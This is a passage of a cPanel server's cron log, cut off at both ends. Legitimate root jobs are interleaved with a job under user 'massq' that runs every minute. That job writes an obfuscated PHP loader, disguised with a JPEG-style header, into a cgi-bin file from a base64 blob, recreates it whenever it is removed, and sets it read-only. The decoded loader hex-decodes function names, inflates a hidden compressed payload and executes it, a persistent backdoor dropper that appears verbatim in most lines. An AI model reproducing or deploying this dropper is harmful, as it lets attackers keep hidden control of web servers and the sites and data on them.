zUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:23:02 server CROND[4797]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:24:01 server CROND[4849]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:25:01 server CROND[4996]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 07:25:01 server CROND[4997]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 07:25:01 server CROND[4998]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:26:01 server CROND[5111]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:27:01 server CROND[5158]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:27:01 server CROND[5159]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 07:28:01 server CROND[5218]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:29:01 server CROND[5263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:30:01 server CROND[5417]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 07:30:01 server CROND[5418]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:30:01 server CROND[5419]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 07:30:01 server CROND[5416]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 07:31:01 server CROND[5535]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:32:01 server CROND[5598]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:33:01 server CROND[5641]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:34:01 server CROND[5689]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:35:01 server CROND[5746]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 07:35:01 server CROND[5748]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 07:35:01 server CROND[5749]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 12 07:35:01 server CROND[5750]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 07:35:01 server CROND[5752]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 07:36:01 server CROND[5954]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 